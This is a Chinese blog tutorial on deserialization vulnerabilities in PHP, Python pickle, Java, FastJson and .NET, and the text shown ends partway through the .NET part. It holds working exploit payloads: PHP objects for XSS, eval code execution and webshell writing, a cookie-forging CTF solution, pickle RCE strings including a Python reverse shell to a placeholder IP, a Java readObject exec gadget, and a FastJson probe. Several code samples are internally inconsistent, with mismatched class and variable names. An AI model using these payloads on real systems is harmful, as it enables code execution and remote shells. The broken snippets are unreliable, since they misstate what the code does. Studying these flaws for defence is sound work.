天天看點

WEB常見漏洞之反序列化分析與防禦

作者:區塊軟體開發

0x01 漏洞概述

序列化:

序列化 (serialize)是将對象的狀态資訊轉換為可以存儲或傳輸的形式的過程。在序列化期間,對象将其目前狀态寫入到臨時或持久性存儲區。以後,可以通過從存儲區中讀取或反序列化對象的狀态,重新建立該對象。【将狀态資訊儲存為字元串】

簡單的了解:将PHP中 對象、類、數組、變量、匿名函數等,轉化為字元串,友善儲存到資料庫或者檔案中

WEB常見漏洞之反序列化分析與防禦
<meta charset='UTF-8' />
<?php 
show_source(__FILE__);       //高亮顯示檔案内容,__FILE__為php中的檔案常量
class ab{              //class 類名
  var $test ='123';        //$test=123 變量的指派,var為資料類型
}
$class = new a;          //初始化對象
$class1_ser = serialize($class1);
print_r("<br />".$class1_ser);
?>           

不止對象,數組、變量均可以序列化。

反序列化:

序列化就是将對象的狀态資訊轉為字元串儲存起來,那麼反序列化就是再将這個狀态資訊拿出來使用,重新再轉化為對象或者其他的。【将字元串轉化為狀态資訊】

WEB常見漏洞之反序列化分析與防禦

漏洞成因

在身份驗證,檔案讀寫,資料傳輸等功能處,在未對反序列化接口做通路控制,未對序列化資料做加密和簽名,加密密鑰使用寫死(如Shiro 1.2.4),使用不安全的反序列化架構庫(如Fastjson 1.2.24)或函數的情況下,由于序列化資料可被使用者控制,攻擊者可以精心構造惡意的序列化資料(執行特定代碼或指令的資料)傳遞給應用程式,在應用程式反序列化對象時執行攻擊者構造的惡意代碼,達到攻擊者的目的。

漏洞可能出現的位置

解析認證token、session的位置
将序列化的對象存儲到磁盤檔案或存入資料庫後反序列化時的位置,如讀取json檔案,xml檔案等
将對象序列化後在網絡中傳輸,如傳輸json資料,xml資料等
參數傳遞給程式
使用RMI協定,被廣泛使用的RMI協定完全基于序列化
使用了不安全的架構或基礎類庫,如JMX 、Fastjson和Jackson等
定義協定用來接收與發送原始的java對象           

漏洞原理

在Python和PHP中,一般通過構造一個包含魔術方法(在發生特定事件或場景時被自動調用的函數,通常是構造函數或析構函數)的類,然後在魔術方法中調用指令執行或代碼執行函數,接着執行個體化這個類的一個對象并将該對象序列化後傳遞給程式,當程式反序列化該對象時觸發魔術方法進而執行指令或代碼。在Java中沒有魔術方法,但是有反射(reflection)機制:在程式的運作狀态中,可以構造任意一個類的對象,可以了解任意一個對象所屬的類,可以了解任意一個類的成員變量和方法,可以調用任意一個對象的屬性和方法,這種動态擷取程式資訊以及動态調用對象的功能稱為Java語言的反射機制。一般利用反射機制來構造一個執行指令的對象或直接調用一個具有指令執行或代碼執行功能的方法實作任意代碼執行。

反序列化特點

php在反序列化時,底層代碼是以 ;作為字段的分隔,以 } 作為結尾,這會造成随便在序列化資料後添加一些無用字元,反序列化的時候也會被忽略,因為遇到了;}會忽略後面的字元;
unserialize根據長度判斷内容,長度不對應的時候會報錯;
可以反序列化類中不存在的元素。           

函數解析

序列化:serialize()函數

所有php裡面的值都可以使用函數serialize()來傳回一個包含位元組流的字元串來表示。通俗來說,就是把一個對象變成可以傳輸的字元串。序列化一個對象将會儲存對象的所有變量,但是不會儲存對象的方法,隻會儲存類的名字。

class S{
    public $test="pikachu";
 }
$s=new S(); //建立一個對象
 serialize($s); //把這個對象進行序列化
序列化後得到的結果是這個樣子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表對象名字長度為一個字元 (即“S”)
S:對象的名稱
1:代表對象裡面有一個變量
s:資料類型   (string 字元串)
4:變量名稱的長度
test:變量名稱
s:資料類型    (pikachu 同樣為字元串string)
7:變量值的長度
pikachu:變量值           

對于對象,序列化後的格式為:

O:strlen(類名長度):類名:類的變量個數:{類型:長度:值;類型:長度:值…}           

其他類型的資料序列化後的格式為:

String類型 :s:size:value
Integer類型 :i:value
Boolean類型 :b:value (儲存1或0)
Null型 :N
Array :a:size:{keydefinition;value definition}           

還有需要注意的點是:分割不同字段}結尾,這對反序列化很重要

反序列化 :unserialize()函數

就是把被序列化的字元串還原為對象,轉換為php的值,然後在接下來的代碼中繼續使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的結果為pikachu           

序列化和反序列化本身沒有問題,但是如果反序列化的内容是使用者可以控制的,且背景不正當的使用了PHP中的魔法函數,就會導緻安全問題.

魔術方法

1.魔術方法:自動觸發的函數。【滿足條件自動觸發】

2.很多開發不寫底層,下載下傳一個架構就拿來用,或者CMS改一改, 他們在開發的時候很多時候并不清楚底層的魔術方法和函數有哪些,為了開發友善都會寫一起。

常見的幾個魔法函數:     //不同場景下被自動調用
        
 __construct()當對象建立(new)時會自動調用。但在反序列化時是不會自動調用的。(構造函數)


 __destruct()當對象被銷毀時會自動調用。(析構函數)


 __toString()當一個對象被當作一個字元串使用


 __sleep() 在對象在被序列化之前運作


__wakeup()   在反序列化時立即被調用           
漏洞舉例:


class S{
    var $test = "pikachu";
    function __destruct(){
        echo $this->test;    //一旦S這個類被建立,則将會自動使用魔法函數。當對象被銷毀時,則下面的操作會被自動執行
    }
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload【有效攻擊負載,是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代碼】:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}            

0x02 漏洞實驗

反序列化的内容是從使用者前端傳過來的,若從前端傳來的内容中插入了惡意的反序列化的内容,背景檢測到會對内容進行反序列化,則通過反序列化的接口造成XSS漏洞【XSS漏洞經常出現在需要使用者輸入的地方,這些地方一旦對輸入不進行處理,黑客就可以進行HTML注入,進而篡改網頁,插入惡意腳本,進而控制使用者浏覽的一種攻擊。】

WEB常見漏洞之反序列化分析與防禦

1.pikachu靶場練習

WEB常見漏洞之反序列化分析與防禦

反序列化漏洞一般需要代碼審計來進行測試,掃描或者黑盒測試【在測試時,把程式看作一個不能打開的黑盒子,在完全不考慮程式内部結構和内部特性的情況下,測試者在程式接口進行測試,它隻檢查程式功能是否按照需求規格說明書的規定正常使用,程式是否能适當地接收輸入資料而産生正确的輸出資訊,并且保持外部資訊(如資料庫或檔案)的完整性,】很難發現這個漏洞。

源碼:

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */




$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);


if ($SELF_PAGE = "unser.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}


$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';




class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}




//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,來點勁爆點兒的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }


}
?>           
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}           

變量$s從url中test參數擷取到内容,并且在反序列化的時候通過__destruct()直接将傳入的資料(惡意的javascript)不經過任何處理,echo出來,這裡就構造了xss漏洞。當腳本結束運作時,所有的對象都會銷毀,就會自動調用__destruct方法。我們輸入正确的反序列化的payload内容,則會彈出xss視窗。

WEB常見漏洞之反序列化分析與防禦

2.靶場練習

<?php
Class readme{
    public function __toString()    //__toString():echo列印對象體時會直接調用
{
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);     //$this->source:定義了變量source,但是沒有指派
    }
}
if(isset($_GET['source'])){
    $s = new readme();         
    $s->source = __FILE__;      //給變量source指派__FILE__
    echo $s;                   //$s->source = flag.php才會得到flag
    exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];     //$c=$h.$m
    $h = substr($c, 0, 32);     //字元串32位之前,$h = e2d4f7dcc43ee1db7f69e76303d0105c
    $m = substr($c, 32);       //字元串的32位到所有,$m = a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
    if(md5($m) === $h){        
        $todos = unserialize($m);       //因為下面$todos為數組輸出,是以,反序列化後的$m也應該為數組
    }
}


cookie傳參:e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}




if(isset($_POST['text'])){
    $todo = $_POST['text'];
    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);
    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?> 
<html>
<head>
</head>


<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>        //$todos為數組,foreach周遊數組
    <li><?=$todo?></li>                        // <?php echo$todo; ?>
<?php endforeach;?>
</ul>


<form method="post" href=".">
    <textarea name="text"></textarea>
    <input type="submit" value="store">
</form>           
WEB常見漏洞之反序列化分析與防禦

1.cookie傳參為todos=e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}},但因為是cookie傳參,是以需要進行url編碼,【Cookie 和 GET 一樣,傳參需要URL編碼(burp 不會自動編碼)】最終為

e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bo%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d。           

2.抓取的資料包是進入靶場後直接重新整理頁面的資料包。

WEB常見漏洞之反序列化分析與防禦

放包後即可得到flag。

WEB常見漏洞之反序列化分析與防禦

3.Python反序列化漏洞實驗

Python中有兩個子產品可以實作對象的序列化,pickle和cPickle,差別在于cPickle是用C語言實作的,pickle是用純python語言實作的,用法類似,cPickle的讀寫效率高一些。使用時一般先嘗試導入cPickle,如果失敗,再導入pickle子產品。

pickle的應用場景一般有以下幾種:

在解析認證token,session的時候;
(尤其web中使用的redis、mongodb、memcached等來存儲session等狀态資訊)
将對象Pickle後存儲成磁盤檔案;
将對象Pickle後在網絡中傳輸。           

用法

pickle 具有兩個重要的函數:

一個是dump(), 作用是接受一個檔案句柄和一個資料對象作為參數,把資料對象以特定的格式儲存到給定的檔案中;
另一個函數是load(),作用是從檔案中取出已儲存的對象,pickle 知道如何恢複這些對象到他們本來的格式。           

使用方式如下:

pickle.dump(obj, file, protocol=None, *, fix_imports=True)  //輸出為檔案對象
pickle.dumps(obj, protocol=None, *, fix_imports=True)  //輸出為 bytes 對象
pickle.load(file)  // load參數是檔案句柄
pickle.loads(file)  // loads參數是字元串           

漏洞複現

本地指令執行

寫一個最簡單的demo環境,使用者輸入檔案後使用pickle.load方法進行反序列化:

WEB常見漏洞之反序列化分析與防禦

生成payload,定義執行calc指令的類,使用dumps方法進行序列化并輸出到poc.pickle中:

WEB常見漏洞之反序列化分析與防禦

執行此payload:

WEB常見漏洞之反序列化分析與防禦

模拟實作一個更為真實的web環境,取路徑中的參數後使用cPickle.loads方法反序列化:

WEB常見漏洞之反序列化分析與防禦

将剛才生成的payload進行url編碼,請求:

http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27calc%27%0Ap2%0AtRp3%0A.           
WEB常見漏洞之反序列化分析與防禦

任意代碼執行(任意函數構造)

将上述的calc改為下面的字元串可實作反彈shell:

python-c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'           

這種通過-c參數隻能執行相對簡單的代碼,如果出現了一些自定義函數,要序列化的對象就成了code類型。

但是pickle不能序列化code對象,這裡簡單測試一下:将要執行的代碼都寫到一個函數裡foo(),嘗試反序列化代碼對象:

WEB常見漏洞之反序列化分析與防禦
WEB常見漏洞之反序列化分析與防禦

問題解決:從python2.6起,包含了一個可以序列化code對象的子產品Marshal。由于python可以在函數當中再導入子產品和定義函數,故可以将自己要執行的代碼都寫到一個函數foo()裡:

WEB常見漏洞之反序列化分析與防禦

得到payload:

http://127.0.0.1:8000/?payload=ctypes%0AFunctionType%0A%28cmarshal%0Aloads%0A%28cbase64%0Ab64decode%0A%28S%27YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMwAAAARDovb3RoZXIvUHl0aG9uX3NlYy9QaWNrbGVSQ0UvcGlja2xlX3BvY19nZW4wLnB5UgEAAAALAAAAcwYAAAAAAQwBBAFzCQAAAGZpYigxMCkgPWkKAAAAdAQAAABjYWxjKAIAAAB0AgAAAG9zdAYAAABzeXN0ZW0oAQAAAFIDAAAAKAAAAAAoAQAAAFIBAAAAczAAAABEOi9vdGhlci9QeXRob25fc2VjL1BpY2tsZVJDRS9waWNrbGVfcG9jX2dlbjAucHl0AwAAAGZvbwkAAABzCAAAAAABDAEPBA8B%27%0AtRtRc__builtin__%0Aglobals%0A%28tRS%27%27%0AtR%28tR.           

更多payload:

https://github.com/sensepost/anapickle           

4.PHP反序列化漏洞實驗

PHP中通常使用serialize函數進行序列化,使用unserialize函數進行反序列化。

serialize函數輸出格式

NULL被序列化為:N


Boolean型資料序列化為:b:1,b:0,分别代表True和False


Integer型資料序列化為:i:數值


String型資料序列化為:s:長度:"值"


對象序列化為:O:類名長度:類名:字段數:字段           

輸出的數字基本都是代表長度,在構造Payload時需要注意修改長度。

PHP中常用魔術方法

__construct:當對象被建立時調用
__destruct:當對象被銷毀前調用


__sleep:執行serialize函數前調用


__wakeup:執行unserialize函數前調用


__call:在對象中調用不可通路的方法時調用


__callStatic:用靜态方法調用不可通路方法時調用


__get:獲得類成因變量時調用


__set:設定類成員變量時調用           

demo1.php

<?php
    $a="test"; //字元串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //數組
    class A{
        public $test="yeah";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //對象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>           
WEB常見漏洞之反序列化分析與防禦

如果說反序列化可能帶來安全問題,那麼一定是序列化構造了危險代碼,當進行反序列化相當于解碼操作的時候自動執行了。

我們本地測試下,當嘗試序列化一段xss代碼的時候,當它進行反序列化的時候會自動執行xss:

WEB常見漏洞之反序列化分析與防禦

代碼:

<?php
    $a="test"; //字元串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //數組
    class A{
        public $test="<img src=1 onerror=alert(1)>";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //對象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>           

我們可以嘗試本地修改需要被序列化的字元串/數組/對象。

通過上面的小demo我們簡單的了解了反序列化導緻的一些安全問題。

下面是對它的深入了解:

首先解釋下demo1序列化後的含義:

$a="test"; 序列化後的結果是:s:4:"test";

含義:s =string類型 4代表字元串長度,"test"代表字元串内容

$arr = array('j' => 'jack' ,'r' => 'rose');序列化後的結果是:a:2:{s:1:"j";s:4:"jack";s:1:"r";s:4:"rose";}

含義:a代表array數組類型,2代表數組長度2個,s代表string,4代表字元串長度,jack是字元串内容,依此類推。

class A{public $test="yeah"}建立對象後,序列化後的結果是:O:1:"A":1:{s:4:"test";s:4:"yeah";}

含義:O表示存儲的對象(object類型),1代表對象名稱有1個字元,就是A,A是對象名稱,1表示有一個值,s代表string類型,4代表字元串長度,test代表字元串名稱,依此類推。

我感覺我寫的很詳細了,下面來點案例說明反序列化漏洞吧:

魔術方法,php有一些魔術方法,參考:https://secure.php.net/manual/zh/language.oop5.magic.php

劃重點,簡單講解下對反序列化有用的魔法函數,詳細了解檢視手冊:

__construct 構造函數,建立對象時自動調用

__wakeup 使用unserialse()函數時會自動調用

__destruct 當對象被銷毀時自動調用 (php絕大多數情況下會自動調用銷毀對象)

寫一段存在安全問題的demo:

那麼我用__wakeup示範下,__destruct也可以,因為__destruct 會被自動調用

demo2.php

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>           

發現反序列化可控序列化代碼,并且一旦反序列化會走魔法方法__wakeup并且輸出test

構造序列化poc:

$b = new A();
$c = serialize($b);
echo $c;           

輸出:O:1:"A":1:{s:4:"test";s:4:"demo";}

demo是$test變量,嘗試修改$test的值是<img src=1 onerror=alert(1)>

注意前面的長度:

構造poc: http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}           
WEB常見漏洞之反序列化分析與防禦

直接導緻xss攻擊。如果__wakeup中不是echo $this->test; ,是eval(*)那麼就是任意代碼執行危害巨大!

我們來嘗試修改echo改成eval這種php執行代碼函數:

<?php
class A{
    var $test = "demo";
    function __wakeup(){
           eval($this->test);
    }
}
$b = new A();
$c = serialize($b);
echo $c;
$a = $_GET['test'];
$a_unser = unserialize($a);
?>           
直接構造poc:
http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";           
WEB常見漏洞之反序列化分析與防禦

使用pyhhon判斷長度很友善

WEB常見漏洞之反序列化分析與防禦

如果把10改成11就不能正常執行:

WEB常見漏洞之反序列化分析與防禦

序列化要一一比對。

關于檔案操作結合反序列化導緻的安全問題:

網站根目錄存在shell.php

demo3.php

<?php
//為顯示效果,把這個shell.php包含進來
require "shell.php";
class A{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$a= new A();
print_r(serialize($a));
$class1 = $_GET['test'];
print_r($class1);
echo "</br>";
$class1_unser = unserialize($class1);
?>           

構造poc:

 http://172.16.6.231/fanxulie/demo3.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}           
WEB常見漏洞之反序列化分析與防禦

測試發現當使用unserialize()的時候會自動調用魔術方法__wakeup或__destruct,是以往往安全問題都在__wakeup和__destruct魔術方法中。那麼__construct()構造方法就沒利用價值嗎?非也,非也。如果__wekeup建立了對象,那麼就會自動調用__construct(),示範例子:

demo4.php

<?php
require "shell.php";
class B{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class A{
    var $test = '123';
    function __wakeup(){
        $obj = new B($this->test);
    }
}
$class1 = $_GET['test'];
echo "</br>";
$class1_unser = unserialize($class1);
?>           
構造poc:http://172.16.6.231/fanxulie/demo4.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}           
WEB常見漏洞之反序列化分析與防禦

首先unserialize()會自動調用__wakeup(),__wakeup中建立了對象,進而自動調用了__construct(),會執行__construct()内的操作。

利用普通成員方法的反序列化漏洞研究:

上面講的都是基于魔術方法下的敏感操作導緻的反序列化導緻的安全問題。但是當漏洞/危險代碼存在在類的普通方法中,該如何利用呢?

demo5.php

<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test =new x1();
        }


        function __destruct(){
            $this->test->action();
        }
    }
class x1{
    function action(){
        echo "x1";
    }
}


class x2{
    public $test2;
    function action(){
        eval($this->test2);
    }
}


$class2  = new maniac();
unserialize($_GET['test']);
?>           

我們發現類的普通方法調用eval函數,這個函數很危險,如果可控就可能造成代碼執行。

通過代碼發現$_GET['test']可控,因為使用unserialize()會自動調用__destruct(),是以他會先調用action()函數,然後會走到x1類和x2類,而安全問題在x2類中,構造如下序列化代碼:

serialize_demo5.php

<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test = new x2();
        }
    }


    class x2{
        public $test2="phpinfo();";
    }


    $class1 = new maniac();
    print_r(serialize($class1))
?>           
WEB常見漏洞之反序列化分析與防禦

序列化值:O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

構造poc:

http://172.16.6.231/fanxulie/demo5.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}           
WEB常見漏洞之反序列化分析與防禦

5.Java反序列化漏洞實驗

Java中通常使用Java.io.ObjectOutputStream類中的writeObject方法進行序列化,java.io.ObjectInputStream類中的readObject方法進行反序列化。使用下面代碼将字元串進行序列化和反序列化:

package com.company;


import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;




public class Main{


    public static void main(String args[]) throws Exception {
        String obj = "hello";


        // 将序列化後的資料寫入檔案a.ser中,當序列化一個對象到檔案時, 按照 Java 的标準約定是給檔案一個 .ser 擴充名
        FileOutputStream fos = new FileOutputStream("a.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();


        // 從檔案a.ser中讀取資料
        FileInputStream fis = new FileInputStream("a.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);


        // 通過反序列化恢複字元串
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);
        ois.close();
    }
}           

程式執行後生成a.ser檔案,如圖:

WEB常見漏洞之反序列化分析與防禦

以十六進制檢視a.ser檔案内容,如圖:

WEB常見漏洞之反序列化分析與防禦

Java序列化資料格式始終以雙位元組的十六進制0xAC ED作為開頭,Base64編碼之後為rO0。之後的兩個位元組是版本号,通常為0x00 05。

一個Java類的對象要想序列化成功,必須滿足兩個條件:

該類必須實作java.io.Serializable接口。
該類的所有屬性必須是可序列化的,如果有一個屬性不是可序列化的,則該屬性必須注明是短暫的。           

使用下面代碼将對象序列化後存儲到a.ser檔案:

package com.company;


import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.io.IOException;


// 定義一個實作 java.io.Serializable 接口的類Test
class Test implements Serializable {
    public String cmd="calc";
    // 重寫readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        // 執行預設的readObject()方法
        in.defaultReadObject();
        // 執行打開電腦程式的指令
        Runtime.getRuntime().exec(cmd);
    }
}


public class Main{


    public static void main(String args[]) throws Exception{
        // 執行個體化對象test
        Test test = new Test();


        // 将對象test序列化後寫入a.ser檔案
        FileOutputStream fos = new FileOutputStream("a.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(test);
        os.close();
    }
}           

執行程式後生成a.ser檔案,以十六進制格式檢視檔案内容,如圖:

WEB常見漏洞之反序列化分析與防禦

最後5個位元組分别為字元串長度和calc的ASCII值。是以,修改檔案為下圖所示,即notepad的ASCII值和長度:

WEB常見漏洞之反序列化分析與防禦

使用下面代碼進行反序列化對象:

package com.company;


import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.Serializable;
import java.io.IOException;


// 定義一個實作 java.io.Serializable 接口的類Test
class Test implements Serializable {
    public String cmd="calc";
    // 重寫readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        // 執行預設的readObject()方法
        in.defaultReadObject();
        // 執行打開電腦程式的指令
        Runtime.getRuntime().exec(cmd);
    }
}


public class Main{


    public static void main(String args[]) throws Exception{
        // 從a.ser檔案中反序列化test對象
        FileInputStream fis = new FileInputStream("a.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Test objectFromDisk = (Test)ois.readObject();
        System.out.println(objectFromDisk.cmd);
        ois.close();
    }
}           

程式執行後成功運作notepad,如圖:

WEB常見漏洞之反序列化分析與防禦

6.FastJson反序列化漏洞簡單實驗

FastJson作為史上最快的Json解析庫應用也十分廣泛,在1.2.69版本以下,其AutoType特性在反序列化過程中會導緻反序列化漏洞,這個特性就是:在對JSON字元串進行反序列化的時候,會讀取@type參數指定的類,然後把JSON内容反序列化為此類的對象,并且會調用這個類的設定(setter)方法。

實驗環境

前端采用json送出使用者名密碼
背景使用fastjson 1.2.24版本
源碼和WAR包GitHub位址
https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment           

建立一個User類,用于檢視序列化資料格式,如圖:

WEB常見漏洞之反序列化分析與防禦

建立一個home類用于輸出user對象的序列化資料,如圖:

WEB常見漏洞之反序列化分析與防禦

建立一個login類用于擷取前端頁面送出的json格式使用者名和密碼資料,并使用JSON.parseObject方法進行反序列化解析json資料,在背景可看到送出的資料,如圖:

WEB常見漏洞之反序列化分析與防禦

通路home頁面可直接擷取user對象序列化後的結果,如圖:

WEB常見漏洞之反序列化分析與防禦

@type的值為對象所屬的類,user和passwd分别為對象的使用者名屬性和密碼屬性。是以可以利用AutoType特性,構造一個使用@type參數指定一個攻擊類庫,包含類屬性或方法的JSON字元串送出到伺服器,在反序列化時調用這個類的方法達到執行代碼的目的。通常使用java.net.Inet4Address類或java.net.Inet6Address類,通過val參數傳遞域名,利用DnsLog進行漏洞檢測,即:{"@type":"java.net.Inet4Address","val":"DnsLog"}。在登入頁面輸入使用者名和密碼送出,攔截資料包,修改送出的Json資料,如圖:

WEB常見漏洞之反序列化分析與防禦

雖然伺服器傳回錯誤資訊,但Payload仍然被成功執行,在DnsLog網站可以看到解析記錄,如圖:雖然伺服器傳回錯誤資訊,但Payload仍然被成功執行,在DnsLog網站可以看到解析記錄,如圖:

WEB常見漏洞之反序列化分析與防禦

要執行指令需要構造新的POP鍊,常用的POP鍊:

基于JNDI注入
基于ClassLoader
基于TemplatesImpl           

7.ASP.NET反序列化實驗

.NET架構包含多個序列化類,BinaryFormatter,JavaScriptSerializer,XmlSerializer,DataContractSerializer,本實驗以XML序列化和反序列化為例。

實驗環境

采用Xml送出資料
使用.NET Framework 4.6.1
完整源碼GitHub位址
https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment           

使用下面代碼定義一個Test類,包含執行ipconfig指令并傳回執行結果的函數Run,使用XmlSerializer類将對象序列化後輸出到頁面:

using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Xml.Serialization;


namespace ASP.NETStudy
{
    [Serializable]
    public class Test
    {
        public string _cmd = "ipconfig";
        public Test(string cmd)
{
            _cmd = cmd;
        }
        public Test()
{
        }
        public String Run()
{
            Process p = new Process();
            // 設定要啟動的應用程式
            p.StartInfo.FileName = "cmd.exe";
            // 不使用作業系統shell啟動
            p.StartInfo.UseShellExecute = false;
            // 接受來自調用程式的輸入資訊
            p.StartInfo.RedirectStandardInput = true;
            // 輸出資訊
            p.StartInfo.RedirectStandardOutput = true;
            // 輸出錯誤
            p.StartInfo.RedirectStandardError = true;
            // 不顯示程式視窗
            p.StartInfo.CreateNoWindow = true;
            // 啟動程式
            p.Start();
            // 向cmd視窗發送指令
            p.StandardInput.WriteLine(_cmd + "&exit");
            // 自動重新整理
            p.StandardInput.AutoFlush = true;
            // 擷取輸出資訊
            string strOuput = p.StandardOutput.ReadToEnd();
            //等待程式執行完退出程序
            p.WaitForExit();
            p.Close();
            // 傳回執行結果
            return strOuput;
        }
    }
    public partial class _default : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
{
            // 執行個體化對象 sc_Test
            Test sc_Test = new Test();
            // 建立字元串緩沖區buffer
            StringBuilder buffer = new StringBuilder();
            // 執行個體化序列号對象
            XmlSerializer serializer = new XmlSerializer(typeof(Test));
            // 序列化對象sc_Test并存儲到buffer
            using (TextWriter writer = new StringWriter(buffer))
            {
                serializer.Serialize(writer, sc_Test);
            }
            String str = buffer.ToString();
            // 将xml資料HTML實體化,防止Windows安全檢查攔截
            string r = string.Empty;
            for (int i = 0; i < str.Length; i++)
            {
                r += "&#" + Char.ConvertToUtf32(str, i) + ";";
            }
            // 輸出到頁面
            Response.Write("<center><h2>序列化資料</h2><textarea rows=\"10\" cols=\"100\" readonly align=\"center\">" + r+ "</textarea></center>");


        }
    }
}           

使用下面代碼将送出的XML資料反序列化,并執行對象的Run函數:

using System;
using System.IO;
using System.Xml.Serialization;


namespace ASP.NETStudy
{
    public partial class info : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
{
            if (Request.RequestType == "POST")
            {
                // 擷取用戶端送出的資料
                StreamReader s = new StreamReader(Request.InputStream);
                // 轉換為String格式
                String ss = s.ReadToEnd();
                //Response.Write(ss);
                // 定義反序列化對象
                Test dsc_Test;
                XmlSerializer serializer = new XmlSerializer(typeof(Test));
                // 反序列化資料為dsc_Test對象
                using (TextReader reader = new StringReader(ss))
                {
                    Object obj = serializer.Deserialize(reader);
                    dsc_Test = (Test)obj;
                }
                // 調用對象的函數Run并傳回執行結果到浏覽器
                Response.Write(dsc_Test.Run());
            }
        }
    }
}           

正常情況下通路頁面,傳回序列化後的資料,如圖:

WEB常見漏洞之反序列化分析與防禦

點選檢視IP按鈕後,用戶端送出資料,如圖:

